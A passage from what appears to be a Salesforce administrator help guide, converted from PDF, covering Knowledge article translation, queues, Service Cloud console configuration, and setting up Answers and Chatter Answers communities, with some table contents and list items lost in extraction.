If the article is removed from the knowledge base for edit (unpublished) and you have the Manage Articles permission.
Three Months Free Al Smith unpublished this offer
If the article is republished. Three Months Free Al Smith published a new version of this offer
If the article is republished and flagged as new by the publisher. Three Months Free Al Smith published this new offer
If the article is archived. Three Months Free Al Smith archived this offer
1511
Customize
Note: The article-title link always opens the current version of the article in the knowledge base. For example,
let's say you're following an article that is converted to draft (unpublished) on Monday, republished with changes
on Tuesday, and archived on Friday. You receive three updates in your feed: one for each status change. If on
Friday you browse your feed history and click the article link from Monday's update, the archived version of the
article opensnot Monday's draft version.
See Also:
Chatter Overview
Salesforce Knowledge Overview
Salesforce Knowledge Terminology
Defining Article Types
Customize Application
AND
Manage Salesforce Knowledge
Salesforce Knowledge uses data categories to classify articles. Authors can assign up to eight data categories from one category
group to an article so that users searching for articles can find and filter by category. For more information, see What are Data
Categories? on page 1562
Data categories are organized by category group. After creating category groups, you can decide which groups should be used
for Salesforce Knowledge articles. For example, if your organization uses both the Answers and Salesforce Knowledge, you
may want one category group to be used by the answers community and two other category groups to be used for articles.
Answers and articles can use the same category group.
By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment:
1. Click Your Name > Setup > Customize > Knowledge > Data Category Assignments. A list of all category groups appears.
2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list
to the Available Category Groups list. Later, you can choose to make a hidden category group visible.
3. Click Save.
You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on
the Article Management tab. Note that authors can only access categories if the category group is active and the author's data
category visibility settings provide access to the category.
1512
Customize
Before you add languages to your knowledge base, decide for each language whether you want to translate articles directly
in Salesforce or export articles to a translation vendor. Communicate your decision to the people involved in the translation
process (authors, reviewers, translation managers, publishers).
When adding a language to your knowledge base, keep in mind that it can't be deleted; however, you can hide a language
by making it inactive. Deactivating a language means it no longer appears as a choice in the New Article dialog or the
Submit for Translation dialog. Also, if articles are already published in the language, those articles are no longer visible to
readers as soon as the language is deactivated.
You can only add languages supported by Salesforce to your knowledge base.
To enable the article export feature, you must create one or more queues; authors and reviewers will select the queue when
they submit an article for translation. Make sure they know which queue to choose for which language.
You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder
whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create
your import file.
Best Practices
To hide translated articles for a specific language, deactivate the language by unchecking Active on the Settings page.
1513
Customize
To import translated articles successfully, verify that the file structure and their extensions match the file structure and
extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the
file structure begins as follows:
import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]
See Also:
Setting up a Multilingual Knowledge Base
Exporting Articles for Translation
Importing Article Translations
Translating Articles within Salesforce Knowledge
Customize Application
AND
Manage Salesforce Knowledge
Description
Active
1514
Customize
Setting
Description
determines whether a published article is visible. For
example, if articles are published in Spanish to your partner
portal and then you make Spanish an inactive language, the
articles are no longer visible to partners.
Default Assignee
Default Reviewer
5. Click Save.
See Also:
Setting Up Salesforce Knowledge
Customizing Salesforce Knowledge Settings
Manage Articles
AND
Create, Read, Edit, or Delete on the article type
(depending on the action)
Depending on the status of your translation and the article actions assigned to you, you can do the following from the translation
detail page.
Action
Description
Article Status
Archive
1515
Customize
Action
Description
Article Status
Assign...
Draft translations
Delete
Draft translations
Edit
Preview
Draft translations
See Also:
Supporting Multiple Languages in Your Knowledge Base
Exporting Articles for Translation
Importing Article Translations
1516
Customize
To view articles:
To create articles:
If your organization sends Salesforce Knowledge articles to a vendor for translation, articles are put into a translation queue.
Note: You can have up to 50 exports in 24 hours and a maximum of 15 pending exports (exports that have not entered
a final state such as Completed, Failed, or Cancelled).
To generate an export file containing the articles that have been submitted for translation:
1. Click Your Name > Setup > Data Management > Export Articles for Translation.
2. Select the queue that contains the articles you're exporting.
3. Click either:
4. Click Continue.
5. Select the source and target language pairs you want to export. Salesforce creates a separate .zip file for every article type
in each language pair.
Attention: You must retain the .zip file structure for a successful import. For more information, see Importing
Article Translations on page 1506.
6. To have the files reviewed or published after being translated, select a user or a queue and then select the name of the user
or queue.
7. Select the file character encoding:
1517
Customize
Japanese (Shift_JIIS)
Chinese National Standard (GB18030)
Chinese Simplified (GB2312)
Chinese Traditional (Big5)
Korean
Unicode (UTF-16, Big Endian)
8. Select the delimiter for the .csv files. The delimiter is the separator for columns when the file is converted to table form.
Your options are:
See Also:
Setting up a Multilingual Knowledge Base
Importing Article Translations
Customize Application
AND
Manage Public List Views
Customize Application
AND
Manage Public List Views
AND
Manage Users
If your organization wants to use queues in approval processes or send articles for translation outside of Salesforce, you need
to create one or more queues. When authors or reviewers submit an article for review or translation, they select the appropriate
1518
Customize
queue. For reviews, you can create queues made up of reviewers with different areas of expertise. For translation queues, you
can create one queue for each language or combine languages within queues.
To create a queue:
1. Click Your Name > Setup > Manage Users > Queues.
2. Click New.
3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a
unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores.
4. Choose email notification settings for the queue:
To Notify
You Must
One email address when new records are placed in the queue Add an email address to Queue Email.
You can add an email address for an individual user or an
email distribution list.
All queue members individually when new records are placed Leave Queue Email blank.
in the queue
All queue members and the Queue Email individually
when new records are placed in the queue
See Also:
Exporting Articles for Translation
Queues Overview
Creating Queues
1519
Customize Application
Click Your Name > Setup > Customize > Cases > Page Layouts.
Click Edit next to a page layout.
Click Layout Properties.
Check Knowledge Sidebar, and click OK.
Click Save.
Repeat these steps for each case page layout assigned to console users.
9. Optionally, set up Live Agent for the console.
10. Assign users the Service Cloud User feature license:
a.
b.
c.
d.
Click Your Name > Setup > Manage Users > Users.
Click Edit next to a user's name.
Select Service Cloud User.
Click Save.
The new user interface theme automatically displays for all pages in a Service Cloud console. It's not applied to any pages
outside of a Service Cloud console unless you enable it.
1520
Customize
You can review an out-of-the box Service Cloud console by selecting Sample Console from the Force.com app menu.
Administrators can customize the Sample Console and give users access to it at Your Name > Setup > Create > Apps.
You must refresh your browser to see any setup changes to a Service Cloud console.
Advanced administrators and developers can use the Service Cloud Console Integration Toolkit, or custom console
components, to implement custom functionality for the Service Cloud console. See Custom Console Components Overview
on page 1529.
See Also:
Service Cloud Console Overview
Service Cloud Console Terminology
Setting Up Salesforce Knowledge
Customize Application
View Setup
View key information at a glancethe highlights panel is a table of up to four columns at the top of every primary tab in a
Service Cloud console. Each column has one or two fields that you can customize to suit your business needs.
Highlights Panel Fields and Format
The Highlights panel displays standard and custom fields, and columns. The following formatting rules apply:
Top fieldsappear blank (except when top fields are blank because users don't have permission to view them).
Bottom fieldsthe top field expands to fill the column
Both fieldsthe column appears blank
Users see only the fields that they have permission to view.
1521
Customize
To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field
lists:
Fields must also be on the detail page layout. If fields you want to add aren't listed, add them to the detail page
layout.
Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are
included in the detail page layout.
Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists.
To remove fields, click the appropriate column and select -None- from the field-selection lists.
To add columns, click Add Column.
To remove columns, hover over the column and click
.
To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished
editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your
changes.
See Also:
Service Cloud Console Overview
Setting Up a Service Cloud Console
Customizing Page Layouts
1522
Customize
To manage apps:
Customize Application
The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.
The Externally Available checkbox must be selected on the document's properties so that users can view the
image.
8. Click Next.
9. Select the items to include in the navigation tab. For example, if you want users to choose accounts from the navigation
tab, move Accounts from Available Navigation Tab Items to Selected Navigation Tab Items.
Click the left and right arrow buttons to add or remove items.
Click the up and down arrow buttons to define the order in which items display on the navigation tab when it's clicked.
Note:
You can't add the following to the navigation tab: forecasts, ideas, answers, connections, portals, console, home,
activities (tasks and events), or buttons for customizing your organization. You can add Google AdWords to
the navigation tab, but it might not display correctly in the console.
Tab visibility settings, and the Overwrite users' personal tab customizations setting, don't apply
to the navigation tab. For example, users can access Accounts from the navigation tab even if Accounts are
Tab Hidden on user profiles.
1523
Customize
the subtabs will appear. For example, if you want cases to appear as subtabs on contacts, select Contact Name (Contact)
in the Cases row. If parent records don't apply, subtabs appear as primary tabs. For example, if you make campaigns a
subtab of leads but a lead doesn't belong to a campaign, that campaign appears as a primary tab.
12. Click Next.
13. Optionally, if your organization has Live Agent enabled, select Include Live Agent in this App to enable a chat
workspace for Live Agent users in the console. After you select this checkbox, you can:
See Also:
Setting Up a Service Cloud Console
Service Cloud Console Overview
What is an App?
1524
Customize
Customize Application
A Service Cloud console lets users write notes on records that appear on primary tabs. A set of notes is called an interaction
log.
Creating Interaction Logs
You can create multiple interaction logs and customize them to display specific task fields for different users to update.
1.
2.
3.
4.
Click Your Name > Setup > Create > Interaction Log Layouts.
Click New.
Name the interaction log.
Select task fields to add to the interaction log and click Add.
5. If you want this interaction log to be the default for all users, select Set as default layout.
You can't delete a default interaction log; you must first mark another interaction log as the default for your organization.
6. Click Save.
Tip: You can create custom fields for tasks and add them to interaction logs. For example, you can create a Caller
Disposition picklist with values of Angry, Neutral, and Satisfied.
Click Your Name > Setup > Create > Interaction Log Layouts.
Click Log Layout Assignment.
Choose an interaction log to assign to each user profile.
Click Save.
Note: You can't assign interaction logs to portal user profiles because Service Cloud console apps arent available to
portal users.
1525
Customize
For custom objects, click Your Name > Setup > Create > Objects, then choose the object.
2.
3.
4.
5.
See Also:
Setting Up a Service Cloud Console
Service Cloud Console Overview
Customize Application
In a Service Cloud console, you can display lists in one of three ways:
List Type
Description
Lists are visible only when the navigation tab is selected. When
you select a record from the list, it opens in a new tab.
Pinned to top
Lists appear at the top of the page and are always visible.
When you select a record from the list, it opens in a new tab
below the list.
Pinned to left
Lists appear on the left side of the page and are always visible.
When you select a record from the list, it opens in a new tab
to the right of the list.
1526
Customize
Note: If a user hasn't yet selected a record from a list, the list automatically displays full screen.
See Also:
Resizing and Minimizing Pinned Lists in a Service Cloud Console
Customize Application
You can allow users to access domains outside of Salesforce from within a Service Cloud console. For example, you can add
www.example.com to a consoles whitelist so that console users can access that domain.
1.
2.
3.
4.
See Also:
Setting Up a Service Cloud Console
Customize Application
Push notifications are visual indicators on lists and detail pages in a Service Cloud console that show when a record or field
has changed during a users session. For example, if two support agents are working on the same case and one agent changes
the Priority, a push notification displays to the other agent so he or she notices the change and doesnt duplicate the effort.
1527
Customize
To choose when push notifications display and which objects and fields are trigger push notifications:
1.
2.
3.
4.
Description
None
Refresh List
The entire list refreshes when there are any changes to it.
Records are added to or removed from the list based on the
lists criteria.
Rows in the list refresh when there are any changes to fields
specified for push notifications.
5. In Choose How Detail Pages Refresh, select when push notifications occur:
Option
Description
Do Not Refresh
Automatically Refresh
Flag
Custom objects
Cases
Accounts
Contacts
Leads
Campaigns
Opportunities
See Also:
Setting Up a Service Cloud Console
1528
Customize
Custom console components let you customize, extend, or integrate the footer, sidebars, highlights panels, and interaction
logs of a Service Cloud console using Visualforce. Visualforce uses a tag-based markup language to give developers a more
powerful way to build applications and customize the Salesforce user interface.
For example, you might want to create custom console components that display:
You can use the Service Cloud Console Integration Toolkit to build custom console components. The toolkit is an API that
uses browsers as clients to display pages as tabs or widgets in console apps. It provides you with programmatic access to console
apps so that you can extend them to meet your business needs. For example, you can use the toolkit to open and close tabs in
a console to streamline a business process. In addition to this, custom console components can display:
For more information (English only) about the toolkit, see the Service Cloud Console Integration Toolkit Developer's Guide.
Creating a custom console component typically involves these steps:
1. Developers create a Visualforce page.
2. Administrators add the Visualforce page to either:
3. Administrators determine the width and location of the component in the console.
4. Administrators who add a component to apps:
Specify the look and feel of the button used to access the component from the footer
Assign the component to each console where they want users to access it
5. Users view the component when they access page layouts or click a button in the footer of a console.
1529
Customize
Implementation Tips
Only users assigned to the Service Cloud User feature license can add custom console components to page layouts. See
Viewing Feature Licenses on page 609.
Custom console components don't refresh automatically when users update records on primary tabs or subtabs.
You can't delete Visualforce pages that are assigned to page layouts as custom console components.
You can use a Visualforce page as a component once for each page layout.
You can add a Visualforce page as a component to the Top Sidebar or Bottom Sidebar of primary tabs after you turn off
the highlights panel or interaction log on the appropriate page layouts.
Unlike other Visualforce pages, you don't have to set the standard controller on custom console components to the object
whose page layout you're customizing.
Two URL parameter values are passed automatically to Visualforce pages used as custom console components:
Parameter Name
Parameter Value
Description
id
A case-sensitive 15-character
alphanumeric string that uniquely
identifies a record.
true
inContextPane
Best Practices
If you want a custom console component to display across all of the subtabs in a primary tab, we recommend that you add
the component to the Primary Tab Components section on page layouts. Adding a component to the Subtab Components
section on page layouts displays the component on individual subtabs.
If Salesforce Knowledge is enabled and the Knowledge sidebar is turned on, we recommend that you don't add a custom
console component to the Right Sidebar of a console on case page layouts. This is because the Knowledge sidebar
automatically displays over components in such cases.
If you change the Height or Width of a custom console component, we recommend that you refresh your browser before
you view your updates.
If you add showHeader=true to a Visualforce page, you can add a 15pixel gap to the right and left sides of a custom
console component to visually indicate its location in a sidebar. For example, <apex:page>
standardController="Contact" showHeader="false" title="List of Cases">.
See Also:
Service Cloud Console Overview
Setting Up a Service Cloud Console
Adding Custom Console Components
Defining Visualforce Pages
1530
Customize
Customize Application
Customize Application
After you create a custom console component (Visualforce page), you can add it to page layouts or Service Cloud console apps.
Add a component to page layouts if you want users to access your component from the sidebars of specific pages, such as cases
or accounts. Add your component to an app if you want users to access your component from a button on the footer of any
page or tab, such as a chat or SoftPhone widget, which is useful from any location.
See Also:
Custom Console Components Overview
Service Cloud Console Overview
Setting Up a Service Cloud Console
Defining Visualforce Pages
Customize Application
Customize Application
After you create a custom console component (Visualforce page), you can add it to page layouts so that users can access it from
a sidebar in a Service Cloud console.
1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts.
For custom objects, click Your Name > Setup > Create > Objects, then choose the object.
2. Click Edit next to a page layout.
3. Click Custom Console Components.
1531
Customize
4. Next to the sidebar in which you want to add your component, type the name of the Visualforce page, or click
and select the Visualforce page.
5. Enter the height or width of the component as it should display in a console.
6. Click Save.
to find
See Also:
Adding Custom Console Components to Apps
Custom Console Components Overview
Customize Application
Customize Application
After you create a custom console component (Visualforce page), you can add it as a button in the footer of Service Cloud
console apps for user access.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Service Cloud Console > Custom Console Components.
Click New.
Type a name for your component.
Click Hide to hide your component from console users.
Hidden components dont display to console users, but they can still function in the background.
5. In Button Name, type the label that will display on the button users click to launch your component. For example, Live
Chat.
6. In Button CSS, enter the in-line style used to define how the button looks to users who click it to launch your component.
7. Enter the width of the button as it should display in the console.
8. In Visualforce Page, type the name of your component, or click
to find and select it.
9. Enter the height and width of the window used to display your component in the console.
10. Click Fixed Width or Fixed Height to prevent users from changing the dimensions of the window used to display
your component.
11. Click Save.
1532
Customize
Before users can access your component, you must assign it to each console where you want users to access it. See Assigning
a Custom Console Component to an App on page 1533.
See Also:
Adding Custom Console Components to Page Layouts
Custom Console Components Overview
Customize Application
After you add a custom console component to Service Cloud console apps, you must assign it to each console where you want
users to access it.
1.
2.
3.
4.
5.
See Also:
Adding Custom Console Components to Apps
1533
Setting Up Answers
Setting Up Answers
SETTING UP ANSWERS
Setting Up Answers
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
To set up answers:
1. Enable answers and set the default community.
2. Create a category group for answers and add data categories to the category group.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.
3. Assign the data categories to your answers community.
4. Review the category group visibility settings to decide how you want to restrict access to categories and categorized questions
in the answers community.
5. If your organization has as role hierarchy set up:
a. Customize each role's category group visibility.
b. Assign roles to the users that you want to participate in the answers community.
c. (Optional) Designate default category group visibility for users without roles, such as high-volume portal users.
6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a
new case:
a. On the Your Name > Setup > Customize > Cases > Page Layouts page, edit the case page layouts to include the
Question field.
b. On the Your Name > Setup > Customize > Cases > Fields page, ensure that field-level security for the Question
field makes the field visible in the necessary profiles.
Only community members who have permission to create cases will see an Escalate to Case option on questions.
7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the
knowledge base. Click Your Name > Setup > Customize > Knowledge > Settings and ensure that Allow users to
create an article from a reply is checked.
8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers
community.
1534
Customize
To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188
for sample rules.
9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the
community administrator an email whenever a question has ten or more replies but no best answer. Questions do not
support approval processes or workflow tasks.
10. (Optional) Create reports for your answers community.
11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal.
Tip: Any custom fields you create for questions or replies cant display in the Salesforce user interface. However, you
can add custom fields to questions or replies for API integration purposes. For example, add a custom text field to
questions and use the API to populate that text field with the name of the country from which each question is posted.
For more information, see Customizing Fields on page 1057 and Which API Should I Use? on page 2070.
See Also:
Answers Overview
Salesforce Answers Implementation Guide
Customize Application
Answers is a feature of the Community application that enables users to ask questions and have community members post
replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark
one reply as the best answer.
To enable the answers feature:
1. Click Your Name > Setup > Customize > Answers > Settings.
2. Click Edit.
3. Use the Enable Answers checkbox to enable answers.
Enabling answers adds the Answers tab to the Community application and creates a community named Internal Community.
4. Select the default community for the Answers tab. You can only display one answers community at a time. You can either
use Internal Community as the default or create a new community and use it as the default.
1535
Customize
5. Click Save.
See Also:
Answers Overview
Creating and Editing Communities
Salesforce Answers Implementation Guide
Customize Application
Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities
Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for
creating and editing its communities. See Configuring a Chatter Answers Community on page 1557.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 590.
1536
Customize
Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.
7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in
Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, (External) is appended to the community name. Communities that aren't
displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External).
8. Click Save.
Community Expert Overview
A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce administrator can designate as many
community experts as necessary.
Before you select a public group to be community experts, note the following:
A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile and permission sets.
Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 3463 and Enabling Customer Portal Login and Settings on page 1671.
See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
1537
Customize
Customize Application
In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If
the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a
computer manufacturer you might create a Products category group for your Products community that has four categories:
Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one
of the categories to assign to a question.
The following example shows how the categories within a category group appear on the Answers tab.
1538
Customize
We recommend naming the category group the same as the answers community so other administrators understand where
the category group is being used.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.
2. Go to Your Name > Setup > Customize > Answers > Data Category Assignments. The category group assignments
page only displays after you enable answers.
3. Click Edit.
4. Select the category group you want to assign to your answers community.
Note: If you change the category group for answers later, all the existing categories associated with your questions
are removed. The questions in your answers community become uncategorized until community members assign
the new categories to them.
5. Click Save.
You receive an email after the save process completes.
See Also:
Answers Overview
What are Data Categories?
About Category Group Visibility
Edit on questions
To delete replies:
Delete on questions
Standard users without the edit and delete permissions on the answers object cannot edit or delete their replies. However,
as the Salesforce administrator, you can edit or delete any reply posted to a community. For example, you may want to monitor
your answers community and edit or delete replies that contain inappropriate content or offensive language.
To edit or delete a reply:
1. Click the question title to view a list of all replies for the question.
2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle
Bin.
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
posting a reply.
1539
Customize
To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188 for
sample rules.
See Also:
Answers Overview
Using Answers
Replying to a Question
Edit on questions
Delete on questions
Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the
owner of the question can no longer delete it. As the Salesforce administrator, you can edit or delete any question posted to
a community. For example, you may want to monitor your answers community and edit or delete questions that contain
inappropriate content or offensive language.
To edit or delete a question:
1. Click the question title to view the question detail page.
2. Click Edit or Delete at the top of the page. When editing a question, you can change the title or description and select a
different category for the question. When deleting a question, the question (and all associated replies) goes to the Recycle
Bin.
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
asking a question.
To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188 for
sample rules.
See Also:
Answers Overview
Using Answers
Asking a Question
1540
Customize
As an administrator, you can create custom report types so users can run and create custom reports about questions, replies,
and votes. Custom report types are the only way to make reports about your answers community available for your
usersSalesforce does not provide sample answers reports or a standard report folder for answers.
To create a folder of answers reports for your users:
1. Set up a custom report type for answers.
2. Create a new public folder for answers reports. This step requires the Manage Public Reports permission.
3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers
reports folder you created.
After completing these steps, a folder of answers reports is available to your users on the Reports home page.
See Also:
Answers Overview
1541
Note: We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers,
as it involves several Salesforce features.
Chatter Answers integrates Cases, Answers, Force.com Sites, Customer Portal, and Salesforce Knowledge to provide you
with a Web community for your customers. Before administrators can set up Chatter Answers, their organizations must have
implemented Data Categories. If you want knowledge articles to display in your Web community, then administrators need
to implement Salesforce Knowledge.
Unlike other Salesforce features, Chatter Answers spans across several areas of setup. There isnt one location in Salesforce
where you can update and configure all of the settings related to Chatter Answers. For example, configuring Chatter Answers
might require you to update Customer Portal settings by clicking Your Name > Setup > Customize > Customer Portal >
Settings, as well as Force.com Site settings by clicking Your Name > Setup > Develop > Sites.
Setting up Chatter Answers also includes customizing or maintaining:
Cases
Case assignment rules
Workflow rules on cases or questions
Apex triggers on questions
Visualforce pages
Customer Portal users
Organization-wide sharing defaults
Feature licenses
Customizing the appearance of your Chatter Answers community to match your companys branding involves creating or
updating Visualforce pages and adding them to the Force.com Site used to host your community.
See Also:
Chatter Answers Overview
Chatter Answers Users Overview
Setting Up Chatter Answers
Chatter Answers Implementation Guide
Chatter Answers Implementation Tips
Chatter Answers Best Practices
1542
Customize
See Also:
Chatter Answers Overview
Chatter Answers Implementation Tips
Chatter Answers Best Practices
Setting Up Chatter Answers
Consider the following information when planning and implementing Chatter Answers.
We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers, as it involves
several Salesforce features.
Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you
want knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge.
You can customize fields, Apex triggers, and validation rules for questions and replies for Chatter Answers by clicking
Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting.
After you enable Chatter Answers, several items are automatically added to your organization for use with setting up
communities:
Questions on user profiles so that you can grant users permissions to questions and replies.
Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community.
An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that
questions with specified attributes are automatically escalated to cases.
A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is
escalated to a case, Priority on questions is updated.
Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and
chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that
questions without best replies or questions with a specified number of followers are automatically escalated to cases.
You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter
Answers communities from one of your established channels.
1543
Customize
Chatter Answers is designed to support one user language for each Web community you create. When you enable Chatter
Answers, the Visualforce pages automatically added to your organization inherit your organizations default language.
However, you can change the language attribute on each Visualforce page. Users who self-register for your community
inherit your organizations default language. Guest users view your community in the language specified in the Visualforce
pages, no matter the language chosen for their browsers.
You can rename Customer Support on your communities user interface. For example, you can change Customer
Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming Tab and Field
Labels on page 1054.
Questions escalated to cases display a Chatter-like feed on case detail pages. The case detail page also includes a Customer
View section that lets support agents reply publicly or privately to the thread posted to the community.
Case comments marked Public display as private messages from customer support in Chatter Answers; they don't display
to the entire community. For example, if a support agent adds a public case comment, it only displays to the case's contact
when he or she logs in to Chatter Answers to review private messages. Support agents can read all private and public case
comments. See Creating and Editing Case Comments on page 3185.
Chatter Answers sends emails to users when they:
Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't include
https://.
Before you make a Web community public, add at least 20 frequently asked questions, answers, or articles. This content
will generate conversations.
Create knowledge articles that contain:
Your support organization's phone number so that customers can contact your support agents directly.
Terms and conditions for community members, such as when support agents might delete customers' questions and
comments.
Case
ChatterAnswersActivity
Community
Question
QuestionReportAbuse
QuestionSubscription
Reply
ReplyReportAbuse
See Also:
Chatter Answers Overview
Chatter Answers Best Practices
Chatter Answers Terminology
1544
Customize
We recommend that you assign a support agent to review public questions from the Questions tab. Agents cant click Flag
next to questions or replies that are spam, hateful, or inappropriate, but they can delete questions or replies from a Web
community via the Questions tab if they have the Delete permission on questions.
To moderate many questions quickly, we recommend that support agents review questions from pinned lists on the Service
Cloud console (this requires adding the Questions tab to the consoles Navigation tab; see Creating a Service Cloud Console
App on page 1523).
To see a list of cases converted from questions, we recommend that administrators or support agents create a case view
where Case Origin equals Chatter Answers. See Creating Custom List Views on page 272.
Because photos added to profiles display externally on Chatter Answers, we recommend that support agents choose photos
that match their company's policies and branding. See Uploading Chatter Group and Profile Photos on page 2384.
See Also:
Chatter Answers Overview
Chatter Answers Implementation Tips
Chatter Answers Terminology
Customize Application
AND
Manage Users
AND
Edit Self-Service Users
Note: The steps below are general guidelines for setting up Chatter Answers. Chatter Answers integrates several
Salesforce features, including features administrators may have implemented already, so each Chatter Answers
implementation may be different. Contact salesforce.com for specifics on your implementation.
1545
Customize
Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you want
knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge.
Before you set up Chatter Answers, you must purchase an adequate number of the following licenses:
You can add custom fields to questions or replies for API integration purposes only. For example, add a custom
text field to questions and use the API to populate that text field with the name of the country from which each
question is posted. Any custom fields you create for questions or replies cant display in the Salesforce user interface.
You can customize fields, Apex triggers, and validation rules for questions and replies for Chatter Answers by
clicking Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting.
You can rename Customer Support on your communities user interface. For example, you can change
Customer Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming
Tab and Field Labels on page 1054.
See Also:
Chatter Answers Overview
Chatter Answers Implementation Overview
Chatter Answers Implementation Guide
1546
Customize
Customize Application
Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Enable.
Optionally, select:
Option
Description
1547
Customize
Option
Description
You must choose a Facebook authentication provider to
implement Facebook Single Sign On for your Chatter
Answers communities.
5. Click Save.
After you enable Chatter Answers, several items are automatically added to your organization for use with setting up
communities:
Questions on user profiles so that you can grant users permissions to questions and replies.
Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community.
An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that
questions with specified attributes are automatically escalated to cases.
A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is escalated
to a case, Priority on questions is updated.
Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and
